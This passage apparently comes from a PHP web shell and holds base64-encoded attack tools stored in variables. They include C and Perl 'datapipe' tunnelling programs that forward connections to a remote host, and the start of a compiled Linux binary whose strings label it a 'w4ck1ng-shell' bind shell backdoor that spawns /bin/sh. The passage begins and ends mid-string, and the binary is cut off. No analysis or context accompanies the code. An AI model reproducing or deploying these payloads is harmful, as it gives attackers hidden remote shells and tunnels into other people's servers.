  2611. x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
  2612. HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
  2613. aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
  2614. lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
  2615. xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
  2616. W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
  2617. LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
  2618. udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
  2619. 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
  2620. iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
  2621. KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
  2622. gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
  2623. hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
  2624. iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
  2625. ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
  2626. vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
  2627. AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
  2628. QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
  2629. ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
  2630. gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
  2631. wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
  2632. 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
  2633. MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
  2634. gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
  2635. 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
  2636. HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
  2637. dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
  2638. KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
  2639. ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
  2640. E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
  2641. Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
  2642. NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
  2643. J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
  2644. CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
  2645. dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
  2646. gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
  2647. lsZSk7DQogIHJldHVybiAwOw0KfQ==";
  2648. $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
  2649. CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
  2650. bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
  2651. gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
  2652. NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
  2653. iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
  2654. aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
  2655. SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
  2656. xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
  2657. WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
  2658. CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
  2659. yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
  2660. I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
  2661. m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
  2662. IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
  2663. lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
  2664. QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
  2665. CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
  2666. c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
  2667. NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
  2668. UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
  2669. DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
  2670. ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
  2671. 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
  2672. $port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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